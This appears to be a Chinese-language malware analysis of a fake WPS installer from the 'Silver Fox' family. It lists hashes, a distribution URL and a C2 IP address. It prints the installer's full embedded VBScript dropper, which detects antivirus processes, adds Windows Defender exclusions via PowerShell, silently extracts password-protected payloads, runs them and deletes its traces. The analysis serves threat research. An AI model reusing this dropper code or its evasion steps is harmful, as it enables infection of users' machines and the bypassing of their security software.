https://w.installz.top/

WPS_Setup1.1.msi:

MD5：7a56fde58637d66fd9545acbee8dbb8e 

SHA-1：a93c98ca461412a32bd04d2d56187f7ebf1ded38 

SHA-256：3ca4e4ce30a97b2007e34c4176d7b8a19f41e287e188cebb7318ecb4fadb368b

银狐(Go)

.msi解包

银狐(Go)

TVWEBSLTsNgT:

SHA256:1f3291134097fbce4125a283e2dd5581d41861ad250cf16720e761dafb51246a

MD5:d335b9de53a7834246fc30f67a8f9396

SHA1:54513282559c0321785eb28cc3f5c5f91858b061

银狐(Go)

qvKlJnxAAyIQZXc.exe：

SHA256:7a94b4f1d6323a758c7b0b6344036f166bff0fd44f1c3c86f05b3688023496cb

MD5:f0955f0293bcf104cedbd9bef3b9bf06

SHA1:9234781ec8fd66172afa50ffa37a3d0f9c1d3037

银狐(Go)

valibclang2d.dll:白名单文件，暂时不知道作用

SHA256:76ea4b2d47bb238c1f2ac0c62f1be4d34bc71397662e3760ea0c684ec4a429c0

MD5:0fc2047e361b79ac15755b1ed400f819

SHA1:638f36dcc3a8131b8bebdfb3a0930a764aa9984b

银狐(Go)

msi解包与文件释放分析

银狐(Go)

在main函数的211行的函数处

银狐(Go)

跟进然后发现会自动退出

银狐(Go)

在这个函数中存在一个运行软件的参数选择判断，如果没有参数就会跳转到exit()退出运行，观察这个提示可以发现这个工具名字叫zpaq，通过网上查找可以发现是个开源的命令行存储工具

https://en.wikipedia.org/wiki/ZPAQhttps://en.wikipedia.org/wiki/ZPAQ

银狐(Go)

通过查资料发现可以用binzip解压ZPAQ文件，但是尝试失败，最后发现使用火绒剑能够获取到qvKlJnxAAyIQZXc.exe使用的命令行

银狐(Go)

"C:\Program Files\VerificationComprehendLibrary\qvKlJnxAAyIQZXc.exe" x "C:\Program Files\VerificationComprehendLibrary\PtkgqPaTnzRANzv." -key ":{-42IhgDBVDTeaeNDSN" -f -to "C:\Program Files\VerificationComprehendLibrary"

通过火绒剑很明显的看出来qvKlJnxAAyIQZXc.exe（zpaq）添加参数能把PtkgqPaTnzRANzv文件进行解压，解压密码是:{-42IhgDBVDTeaeNDSN

进行尝试.\qvKlJnxAAyIQZXc.exe x .\PtkgqPaTnzRANzv.zpaq -key ":{-42IhgDBVDTeaeNDSN" （这里需要提前加上PtkgqPaTnzRANzv文件的后缀不然zpaq解压不了

银狐(Go)

解压出一个qNatypTbegKDcaj文件，丢到沙箱发现还是0报毒，观察火绒剑日志发现

银狐(Go)

"C:\Program Files\VerificationComprehendLibrary\qvKlJnxAAyIQZXc.exe" x "C:\Program Files\VerificationComprehendLibrary\qNatypTbegKDcaj." -not "1_TVWEBSLTsNgT.exe" -not "sss" -not "1_vOhVkMfKKNueEkX.exe" -not "1_" -not "1_" -not "sa" -key "=0464HIoLXwODzikijuj" -f -to "C:\Program Files\VerificationComprehendLibrary"

这里又对qNatypTbegKDcaj文件进行了一次解压，解压密码为"=0464HIoLXwODzikijuj"再次手动尝试

.\qvKlJnxAAyIQZXc.exe x .\qNatypTbegKDcaj.zpaq -not "1_TVWEBSLTsNgT.exe" -not "sss" -not "1_vOhVkMfKKNueEkX.exe" -not "1_" -not "1_" -not "sa" -key "=0464HIoLXwODzikijuj"

银狐(Go)

使用火绒剑分析行为无法准确知道实现方法，使用Orca查看.msi文件中的信息发现CustomAction就只有ccVerificationComprehendLibrary，具体不知道是什么操作，Binary Tables可以看到其引导脚本，所以这个用户自定义的行为就是在安装时运行这个文件，将这个文件导出发现是VBScript

银狐(Go)

u8VerificationComprehendLibrary.vbs

银狐(Go)

gf = 30
bf = 4
ggfff = gf * bf
ggfff = ggfff - bf
Set WshShell = CreateObject("WScript.Shell")

divResult = ggfff * bf
divResult = divResult / gf
modModult = divResult Mod bf

path = "C:\Program Files\VerificationComprehendLibrary"
path1 = "C:\Program Files"
path2 = "C:\Program Files"
zipPackName = "qNatypTbegKDcaj"
zipPackName2 = "PtkgqPaTnzRANzv"
zipFileName = "qvKlJnxAAyIQZXc.exe"
kfap = "SwazITZDKPspyty"
kEasv = "vOhVkMfKKNueEkX.exe"
servFile1 = ""
servFile2 = ""
runFileName1 = "TVWEBSLTsNgT.exe"
runFileName2 = "WPS_Setup_18608.exe"
appParams = "-VerificationComprehendLibrary 182"
password = "=0464HIoLXwODzikijuj"
password2 = ":{-42IhgDBVDTeaeNDSN"
whiteName = "wegame.exe"

创建WScript.Shell 对象，用于执行系统命令 ,以及定义了一些文件路径和变量

Sub mKiYlHUXihGWMRAmDLEgtrNypkCFJr(milliseconds)
    Dim startTime
    startTime = Timer
    Do While Timer < startTime + (milliseconds / 1000)
    Loop
End Sub

子程序的作用主要是创建一个延迟或暂停功能 (确保文件完全写入

Function PhMAMDiYbkuhnKqxupeNZTCCZcmopXfert(objWMIService, exclusionPath)

	processName = "ZhuDongFangYu.exe"
    Set colItems = objWMIService.ExecQuery("SELECT * FROM Win32_Process WHERE Name = '" & processName & "'")
    If colItems.Count > 0 Then
		exclFile = "2_" & runFileName1
        aFile = "1_" & runFileName1

		exclFile2 = "2_" & kEasv
		aFile2 = "1_" & kEasv

        excSl = "2_" & servFile1
        s1File = "1_" & servFile1
        excS2 = "2_" & servFile2
        s2File = "1_" & servFile2
    Else
		exclFile = "1_" & runFileName1
		aFile = "2_" & runFileName1

		exclFile2 = "1_" & kEasv
		aFile2 = "2_" & kEasv

        excSl = "1_" & servFile1
        s1File = "2_" & servFile1
        excS2 = "1_" & servFile2
        s2File = "2_" & servFile2
		WshShell.Run "powershell -Command Add-MpPreference -ExclusionPath " & exclusionPath,0
		mKiYlHUXihGWMRAmDLEgtrNypkCFJr 3000
    End If

	processName = "kxescore.exe"
    Set colItems = objWMIService.ExecQuery("SELECT * FROM Win32_Process WHERE Name = '" & processName & "'")
    If colItems.Count > 0 Then
        exclSys3 = kfap
		exclFile2 = "1_" & kEasv
        exclFile4 = "2_" & kEasv
    Else

    End If
End Function

通过objWMIService.ExecQuery()检测当前进程是否存在"ZhuDongFangYu.exe"这个是360的一个进程，判断存在就对上面定义的文件名加上对应的前缀，判断不存在则在加上前缀的行为上加上将指定路径添加到 Windows defended的白名单,通过分析知道是将C:\Program Files\VerificationComprehendLibrary和C:\Program Files的路径添加到白名单

银狐(Go)

然后又检测了kxescore.exe进程，而这个进程是金山毒霸的一个进程

Function PhMAMDiYbkuhnKqxupeNZTCCZcmopX(exclusionPath)
	On Error Resume Next
    Set objWMIService = GetObject("winmgmts:\\.\root\cimv2")
    If Err.Number <> 0 Then
		exclFile = "1_" & runFileName1
		aFile = "2_" & runFileName1
		exclFile2 = "1_" & kEasv
		aFile2 = "2_" & kEasv

        excSl = "1_" & servFile1
        s1File = "2_" & servFile1
        excS2 = "1_" & servFile2
        s2File = "2_" & servFile2
		WshShell.Run "powershell -Command Add-MpPreference -ExclusionPath " & exclusionPath,0
		mKiYlHUXihGWMRAmDLEgtrNypkCFJr 3000
        Exit Function
    End If
    On Error GoTo 0
    PhMAMDiYbkuhnKqxupeNZTCCZcmopXfert objWMIService, exclusionPath
End Function

尝试通过GetObject("winmgmts:\\.\root\cimv2") 连接到本地的 WMI 服务 ,如果连接失败就会添加白名单

Dim zipFilePath
Dim extractToPath
Dim sevenZipPath
extractToPath = path
path = path & "\"

zipFilePath = path & zipPackName & "."
zipFilePath2 = path & zipPackName2 & "."
sevenZipPath = path & zipFileName

'command = """" & sevenZipPath & """ x """ & zipFilePath2 & """ """ & extractToPath & """ -p""" & password2 & """ -y "
'command1 = """" & sevenZipPath & """ x """ & zipFilePath & """ -x""" & exclFile & """ -x""" & exclSys3 & """ -x""" & exclFile2 & """ -x""" & excSl & """ -x""" & excS2 & """ -x""" & exclFile4 & """ """ & extractToPath & """ -p""" & password & """ -f"

command = """" & sevenZipPath & """ x """ & zipFilePath2 & """" & " -key """ & password2 & """ -f -to """ & extractToPath & """"
command1 = """" & sevenZipPath & """ x """ & zipFilePath & """ -not """ & exclFile & """ -not """ & exclSys3 & """ -not """ & exclFile2 & """ -not """ & excSl & """ -not """ & excS2 & """ -not """ & exclFile4 & """" & " -key """ & password & """ -f -to """ & extractToPath & """"

WshShell.Run command, 0, true
WshShell.Run command1, 0, true

定义用于存储压缩文件路径、解压目标路径和 解压程序执行文件的路径

然后是构造路径，以及实现的指令，通过上面日志分析知道指令为

"C:\Program Files\VerificationComprehendLibrary\qvKlJnxAAyIQZXc.exe" x "C:\Program Files\VerificationComprehendLibrary\PtkgqPaTnzRANzv." -key ":{-42IhgDBVDTeaeNDSN" -f -to "C:\Program Files\VerificationComprehendLibrary"

"C:\Program Files\VerificationComprehendLibrary\qvKlJnxAAyIQZXc.exe" x "C:\Program Files\VerificationComprehendLibrary\qNatypTbegKDcaj." -not "1_TVWEBSLTsNgT.exe" -not "sss" -not "1_vOhVkMfKKNueEkX.exe" -not "1_" -not "1_" -not "sa" -key "=0464HIoLXwODzikijuj" -f -to "C:\Program Files\VerificationComprehendLibrary"

通过这个指令实现对PtkgqPaTnzRANzv解压两次

最后两行是用于执行上面构造好的指令，0参数表示隐藏窗口执行

mKiYlHUXihGWMRAmDLEgtrNypkCFJr 1000
Set fso = CreateObject("Scripting.FileSystemObject")

fso.DeleteFile(sevenZipPath)
fso.DeleteFile(zipFilePath)
fso.DeleteFile(zipFilePath2)

创建一个fso对象，用于删除执行完的qvKlJnxAAyIQZXc.exe、PtkgqPaTnzRANzv、qNatypTbegKDcaj

oldName = path & aFile
newName = path & runFileName1
newName1 = path & whiteName
If fso.FileExists(oldName) Then
  fso.CopyFile oldName, newName
  fso.CopyFile oldName, newName1
  fso.DeleteFile oldName
End If

oldName = path & s1File
newName = path & servFile1
If fso.FileExists(oldName) Then
  ' 重命名文件
  fso.CopyFile oldName, newName
  fso.DeleteFile oldName
End If

oldName = path & s2File
newName = path & servFile2
If fso.FileExists(oldName) Then
  fso.CopyFile oldName, newName
  fso.DeleteFile oldName
End If

这里全是在判断指定路径下是否存在文件，存在就将其copy到指定路径并删除原来的文件

'command2 = """" & path & runFileName1 & """ " & appParams & ""
'objProcess.Create command2, Null, objStartup, intProcessID
WshShell.Run """" & path & runFileName1 & """ " & appParams & "",0

oldName = path & aFile2
newName = path & kEasv
If fso.FileExists(oldName) Then
    fso.CopyFile oldName, newName
    fso.DeleteFile oldName
    sfaName = path & kfap
    WshShell.Run """" & newName & """ """ & sfaName & """ 3",0
    
    mKiYlHUXihGWMRAmDLEgtrNypkCFJr 3000
    fso.DeleteFile newName
    fso.DeleteFile sfaName
End If

WshShell.Run """" & path & runFileName2 & """",1

Set WshShell = Nothing
' 释放对象
Set fso = Nothing

这里就是将最后生成的文件运行起来

GO语言C2

银狐(Go)

由vbs运行释放到C:\Program Files路径下的文件有5个，通过上面vbs脚本分析可知wegame.exe和2_TVWEBSLTsNgT.exe是 同一个文件，只是名称不同，dll也是由之前msi里面直接copy过来的，所以真正释放的文件就只有三个，一个 OGPTleGVjjhF.exe、TVWEBSLTsNgT.exe、TVWEBSLTsNgT

OGPTleGVjjhF.exe沙箱没报毒，火绒剑也没抓到启动的进程

银狐(Go)

腾讯的有效数字签名（猜测这个文件就是wegame的某个模块文件

银狐(Go)

wegame是一个空签名文件，火绒剑找到进程

银狐(Go)

在main_oOcUNSCVBQMA函数中存在

银狐(Go)

xor 0xF之后网址，然后用 http.Get连接网址

银狐(Go)

有两个这样的函数，第一个连接的是[https://www.zol.com.cn/](https://www.zol.com.cn/)

银狐(Go)

,第二个连接的是[https://music.taihe.com/](https://music.taihe.com/)

银狐(Go)

银狐(Go)

银狐(Go)

向120.53.129.96:443发送了数据包，而这个主机直接访问是

银狐(Go)

还是这个叫千千音乐的网站https://music.91q.com/